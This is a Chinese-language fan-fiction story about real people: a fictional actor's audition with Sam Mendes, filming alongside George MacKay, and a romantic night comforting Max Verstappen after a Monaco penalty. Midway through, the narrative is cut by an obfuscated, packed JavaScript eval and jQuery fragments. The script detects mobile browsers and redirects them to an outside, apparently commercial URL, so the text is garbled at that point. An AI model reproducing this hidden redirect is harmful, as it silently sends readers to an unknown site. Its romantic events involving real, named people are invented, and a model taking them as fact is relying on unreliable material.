“林利·福斯特，导演在等你。”


    林利应了一声，深吸一口气，推开了试镜室的木门。


    房间里比想象中局促，空气中浮动着一种木质的油蜡味。两台冰冷的专业摄影机架在中央，镜头黑洞洞地锁定着试镜区。


    萨姆·门德斯坐在监视器后面，鼻梁上架着一副深色边框眼镜，旁边是神情严肃的选角导演。


    林利站在黄色胶带标记的虚线上，房间内沉甸甸的氛围让他下意识压低肩膀，脊背微微弓起，仿佛那里正压着装满重物的步兵背包。


    “那些樱桃树……”屋内响起了粗糙温厚的男声。他在狭小的取景框里挪动了一步，脚掌内扣，脚尖用力抵住地板，肩膀随着呼吸产生一种细微的、疲惫的颤抖。平整的木地板消失了，他正踩进一滩黏稠的烂泥里。“我母亲总说，看一眼花开的颜色就能知道今年的果子甜不甜。”他蜷缩着“冻僵”的手指，目光落在斜前方的虚空处。监视器的屏幕里，是一个刚从废墟里爬出来、满身硝烟却仍眷恋土地的灵魂。


    空气里的油蜡味被一缕淡淡的、家乡的樱桃树清香给冲散了。


    ……


    五月，索尔兹伯里平原。


    林利叉着腿坐在土坡边，抖了抖靴筒里的泥浆，大口嚼着一块干巴巴的苏打饼干。羊毛军装热烘烘的，就是有点扎人。


    “没力气了，真的。”饰演男主角的乔治·麦凯一屁股砸在泥坡上。他抹了一把脸，指甲缝里的假血蹭得满脸都是，“萨姆要是再让我跑一遍，我就直接躺在坑里当个真正的尸体。”


    林利没接话，从汗津津的兜里掏出半包碎渣饼干扔到他膝盖上：“吃你的吧。省得还没拍到你牺牲就先饿死了。”


    乔治抓起饼干渣塞进嘴里，嚼得嘎吱响：“……咳，你从哪翻出来的？我刚才找了一圈都没见着吃的。”


    “道具服的口袋里，不知道谁塞进来的。”林利瞥到对方的钢盔已经歪到鼻梁上，顺手扶了扶，“戴正。我可不想在战场上照顾一个连帽子都戴不稳的笨蛋。”


    “谢了，朋友。”乔治用肩膀撞了撞他，“说真的，我们哪天得好好吃一顿，补一补。这么辛苦，对吧？”


    “得了吧。我看你刚才那条跑得够呛，明天的大冲刺如果再摔一跤我都不敢想。”林利白了他一眼，踢了踢脚尖挂着的泥块。


    乔治嘿嘿笑了一声道：“路太滑了！放心，明天不会给你看笑话机会的。”


    结束拍摄回到酒店，林利迫不及待地刷新摩纳哥大奖赛的即时排名。【麦克斯·维斯塔潘—五秒罚时】的红字突然跳进视线，林利握紧手机，懊恼地拍了拍膝盖。摩纳哥赛道太窄了，超车几乎是不可能的，前排车手想要拉开五秒以上时间的难度不用想都知道。


    林利紧张地等待结果，还是没有好消息。虽然最终以第二名冲线，经历罚时之后麦克斯落到了第四，丢失了领奖台。他打开对话框，想来想去，删掉了一长串安慰的废话，最终只发出去一句：


    【L：你还好吗？】


    不到五分钟，手机猛地一震，【来自Emily】的视频请求横冲直撞地弹了出来。


    “这简直是个笑话！”麦克斯盯着镜头，语速极快，胸口剧烈起伏，“我在维修区根本没看到博塔斯，那不是我的错！他们坐在那，就能剥夺我七八十圈的努力，简直是不可思议！”


    “我看到了。”林利看着屏幕里麦克斯涨红的脸，语气尝试放缓，“我看到你一直咬在汉密尔顿身后。那种压迫感，只有你，只有你能让他连呼吸都觉得困难。我为你骄傲，这不是你的错。”


    “但我超不过去！我尝试了一切。”麦克斯甩下帽子，“我并不在乎那五秒钟的罚时，真的。我只是想超过去。”


    “我知道。”林利温柔地看向麦克斯的双眼，“你是那条赛道上唯一一个还在想办法超车的人。麦克斯，你比所有人都更像冠军。”


    麦克斯沉默了一会，喉结上下滑动，眼神开始不自然地向屏幕边缘飘移：“Oh, 林……”他支支吾吾地开口，声音低了下去，有些局促地用手背蹭了蹭鼻尖，“你别这么说……我连领奖台都没上去。”他低头看向自己的指关节，嘴角似乎想抿出一个弧度。


    林利想，眼前的人真是只大猫，毛茸茸的，摸一摸就会消气。他忍不住补充，想要再夸一夸他：“你知道的，麦克斯。你是我见过最有天分、最厉害的人之一。”


    麦克斯迎上林利的目光。捕捉到林利眼角的笑意、脸上没洗干净的泥痕，还有那件厚厚的旧军装。在这一刻，他心中猛地升起一种最直白的渴望。


    “我想见你。”麦克斯声音沙哑，“在那等我，林。我这就过去。”


    ……


    凌晨三点半。


    林利被一阵咚咚的敲门声惊醒。打开门，麦克斯带着一阵冷飕飕的风挤了进来。他看起来有些疲惫，肩膀微微垮着，眼睛布满血丝。


    “麦克斯。”林利轻声唤他。


    麦克斯没说话，他两步跨上来，伸手把林利死死勒进怀里。


    他将脸深深埋在林利的颈窝，鼻尖蹭着那层柔软的真丝。“我根本不想待在那了，到处都是假笑和愚蠢的问题，烦透了。”麦克斯的声音闷在林利肩头，深深叹了口气，“我就想来找你。”


    林利能感觉到麦克斯的身体还在微微发颤。他下了比赛就一路奔波过来，甚至还没有休息。林利伸出手，轻轻抚上麦克斯结实的后背，来回摩挲，“我在这呢。”


    半晌，麦克斯抬起头，冰蓝色的瞳孔直勾勾地看向林利。他的指尖蹭过林利的眉骨，在林利的眼皮上描摹了几下，又摸了摸林利因为连日拍摄变得有些粗糙的脸颊。


    “你变了，林。”麦克斯凑近他，额头抵住额头，呼吸喷在林利的鼻尖，“三月的时候，在阿拉巴马……说实话，看到你那样，我一点都不好受。”


    林利轻笑，抬手穿过麦克斯乱糟糟的头发，“现在呢？”


    麦克斯重新抱了上来，满足地叹气：“现在……你很踏实，林。我能摸到你，你是真实的。很高兴能看到你精神变好。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159553|196580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    他捏了捏林利的脊背，“也很高兴看到你胖了一些。”


    林利哑然失笑，顺着他的力道把自己更深地埋进怀抱：“胖了吗？那可能是因为我现在每天要在泥里滚十几个小时，没有好的身体可不行。”


    “这很好。之前你瘦得感觉风都能刮走。”麦克斯嘟囔着，像是在确认一样又四处捏了捏，才松开了一点力道。他低头深深地看着，林利在他灼热的目光下脸颊微微发烫：“你要不要先洗个热水澡？放松放松，我先收拾一下。”


    水声很快响了起来。


    林利趁着这工夫，从行李箱里翻出一件宽大的备用 T 恤扔在盥洗台上。没过十分钟，浴室门被推开，一团潮湿的热气涌了出来。


    麦克斯只在腰上松松垮垮地围了一条浴巾，头发湿漉漉地塌着。热水稍微冲散了他眼底的血丝，原本紧绷的肌肉在热气中舒展开来。他反手抓过T恤套上，布料有些紧地裹在宽阔的肩膀，带出一股好闻的干爽气息。


    林利笑了笑，拿起一条毛巾朝他招了招手，“过来，把头发擦干。这里的凌晨比你想象得要冷。”


    麦克斯顺从地坐在床边，随手拿毛巾抓了几把，一边还执拗地抓着林利的一只手不肯放开。


    “那时候在TR里听到五秒罚时，我告诉他们我不在乎。”麦克斯盯着两人交握的手，声音在水汽的影响下显得有些闷，“我只是想超过去。我能看到汉密尔顿的轮胎已经彻底完了，他在每一个弯道都在挣扎。我追得那么近，只差那么一点。”


    他停顿了一下，指尖下意识地在林利的掌心比画，眼神里流露出一丝不甘，“那是摩纳哥，林。在那超车太难了。我在维修区真的没看到博塔斯，那是个意外，但他们根本不听。”


    “我真的拼尽全力了。”他向后仰躺，顺势一拽，将林利也一起拉倒在床上。


    “我知道，”林利低声回应，心软得一塌糊涂，“我都知道。”


    麦克斯伸手环住林利的腰，下巴抵在他柔软的黑发间。两人在昏暗的灯光下紧紧依偎着，房间很小，床也很窄。两个成年男人挤在一起显得局促极了，却形成一道谁也无法入侵的屏障。


    麦克斯微微低头，视线在林利的唇瓣上停留了一会，诉说着无声的渴望。


    “林……”麦克斯低声唤着林利，鼻尖亲昵地蹭了蹭。


    林利的指尖穿过他半干的发丝，仰起头引导着这个充满眷恋与慰藉的吻。


    麦克斯的呼吸沉重起来，向四周寻找了几下，一把抓住林利的手，用力扣在一起。“别走。”麦克斯在亲吻的间隙含糊不清地呢喃。


    “我不走。”林利亲了亲他泛红的眼角，“我就在这里，麦克斯。我就在这里。”


    索尔兹伯里平原上的风拍打着窗户。


    在这间窄小的房间里，两人紧紧依偎。所有关于速度、遗憾和疲倦的喧嚣都彻底熄了火。


    麦克斯在属于林利的温存中沉沉降落，任由那些未尽的余震在无声的亲昵里，一点点平息为清晨到来前最安稳的呼吸。